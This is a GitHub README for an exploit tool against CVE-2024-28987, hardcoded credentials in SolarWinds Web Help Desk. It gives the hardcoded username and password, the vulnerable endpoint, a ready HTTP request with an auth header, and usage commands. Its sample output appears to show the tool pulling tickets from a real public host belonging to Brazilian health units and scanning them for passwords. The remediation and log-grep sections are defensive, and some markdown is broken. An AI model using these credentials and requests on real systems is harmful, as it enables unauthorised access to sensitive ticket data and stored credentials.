CVE-2024-28987

# CVE-2024-28987 - SolarWinds Web Help Desk Hardcoded Credentials Exploit

[![Python](https://img.shields.io/badge/Python-3.6+-blue.svg)](https://www.python.org/downloads/)
[![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
[![CVE](https://img.shields.io/badge/CVE-2024--28987-red.svg)](https://nvd.nist.gov/vuln/detail/CVE-2024-28987)
[![CVSS](https://img.shields.io/badge/CVSS-9.1-critical.svg)](https://nvd.nist.gov/vuln/detail/CVE-2024-28987)

> **⚠️ DISCLAIMER:** This tool is for **educational and authorized security testing purposes only**. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.

---

## 📋 Overview

**CVE-2024-28987** is a critical vulnerability in SolarWinds Web Help Desk (WHD) that allows remote attackers to access sensitive ticket information using **hardcoded credentials**. This vulnerability has a **CVSS score of 9.1 (Critical)** and is actively being exploited in the wild.

### Vulnerability Details

| Attribute | Value |
|-----------|-------|
| **CVE ID** | CVE-2024-28987 |
| **CVSS Score** | 9.1 (Critical) |
| **CWE** | CWE-798 (Hardcoded Credentials) |
| **Affected Products** | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| **Patched Version** | 12.8.3 Hotfix 2 |
| **Exploitation** | Actively exploited in the wild |
| **Added to CISA KEV** | October 15, 2024 |

### Impact

An unauthenticated attacker can:
- Access all support tickets containing sensitive information
- View temporary passwords, reset requests, and shared service credentials
- Perform CRUD operations on tickets via `/OrionTickets` endpoint
- Potentially pivot to other systems in the network

---

## 🔧 Features

- ✅ **Automatic vulnerability detection** - Tests for hardcoded credentials
- ✅ **Ticket extraction** - Retrieves all tickets from vulnerable systems
- ✅ **Sensitive data scanning** - Identifies passwords, credentials, PII, and medical data
- ✅ **Multiple output formats** - JSON and JSONL for large datasets
- ✅ **Interactive preview** - Shows first 3 tickets before extraction
- ✅ **Zero dependencies** - Uses only Python standard library
- ✅ **Colorful output** - Enhanced readability with ANSI colors
- ✅ **Error handling** - Graceful handling of connection errors

---

## 🚀 Quick Start

### Prerequisites

- Python 3.6 or higher
- No external dependencies required!

### Installation

```bash
# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987

# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port

# Interactive mode (will prompt for target)
python3 cve-2024-28987.py

# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098

    ╔══════════════════════════════════════════════════════════════════╗
    ║                                                                  ║
    ║   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██╗  ██╗███████╗ ║
    ║  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗██║  ██║██╔════╝ ║
    ║  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║███████║█████╗   ║
    ║  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔══██║██╔══╝   ║
    ║  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝██║  ██║███████╗ ║
    ║   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝ ║
    ║                                                                  ║
    ║         CVE-2024-28987 - SolarWinds Web Help Desk               ║
    ║         Hardcoded Credentials Vulnerability                      ║
    ║                                                                  ║
    ╠══════════════════════════════════════════════════════════════════╣
    ║  GitHub: https://github.com/Darabium                        ║
    ╚══════════════════════════════════════════════════════════════════╝

[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets

======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================

Ticket #1
  ├── ID: 5690
  ├── Client: UBS Portao Vermelho
  ├── Status: Open
  ├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO

Ticket #2
  ├── ID: 5691
  ├── Client: UBS Centro
  ├── Status: In Progress
  ├── Detail: ALCOOL 70% - Solicitação de material de limpeza

======================================================================
[🔐] Scanning for Sensitive Data
======================================================================

[!] Potential PASSWORD data found in ticket #5723
    └── detail: Please reset my password for system access...

[?] Do you want to extract ALL tickets to file? [y/N]: y

[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42

[*] Done!
```


GitHub: https://github.com/Darabium


📁 File Structure

CVE-2024-28987/

├── cve-2024-28987.py          # Main exploit script

├── README.md                   # This file

└── LICENSE                     # MIT License

Output Files

When you extract tickets, the following files are created:


# Standard JSON format (always created)
138_94_193_65_8098_tickets.json

# JSONL format (created if > 100 tickets)
***_tickets.jsonl
🔍 Technical Details
Hardcoded Credentials
python
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
Affected Endpoint
text
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Sample HTTP Request
http
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ Remediation
Immediate Actions
Update immediately to SolarWinds Web Help Desk version 12.8.3 Hotfix 2 or later

Check logs for suspicious access to /OrionTickets endpoint

Monitor for unauthorized access to ticket data

Reset all credentials that may have been exposed in tickets

Review all support tickets for potential data leakage

Detection Commands
bash
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log

# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log

# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 CISA KEV Advisory
This vulnerability has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Organizations are required to patch by the specified deadline.

Date Added: October 15, 2024

Required Action: Apply updates per vendor instructions

Deadline: November 5, 2024 (21 days)

📚 References
NVD CVE-2024-28987

CISA KEV Catalog

SolarWinds Security Advisory

PEP 668 - External Environment Management

🤝 Contributing
Contributions are welcome! Please feel free to submit pull requests or open issues.

Guidelines
Fork the repository

Create your feature branch (git checkout -b feature/AmazingFeature)

Commit your changes (git commit -m 'Add some AmazingFeature')

Push to the branch (git push origin feature/AmazingFeature)

Open a Pull Request

📝 License
This project is licensed under the MIT License - see the LICENSE file for details.

⚡ Author
Darabium - Initial work - GitHub

⚠️ Important Notes
This tool is intended for security research and educational purposes

Do not use on systems you do not own or have explicit permission to test

The author is not responsible for any misuse of this tool

Always follow responsible disclosure practices

Respect privacy and data protection laws in your jurisdiction

🌟 Star History
If you find this tool useful, please give it a ⭐ on GitHub!

📞 Support
Open an issue on GitHub for bug reports

For security concerns, please contact directly via GitHub

Made with ❤️ for the Darabium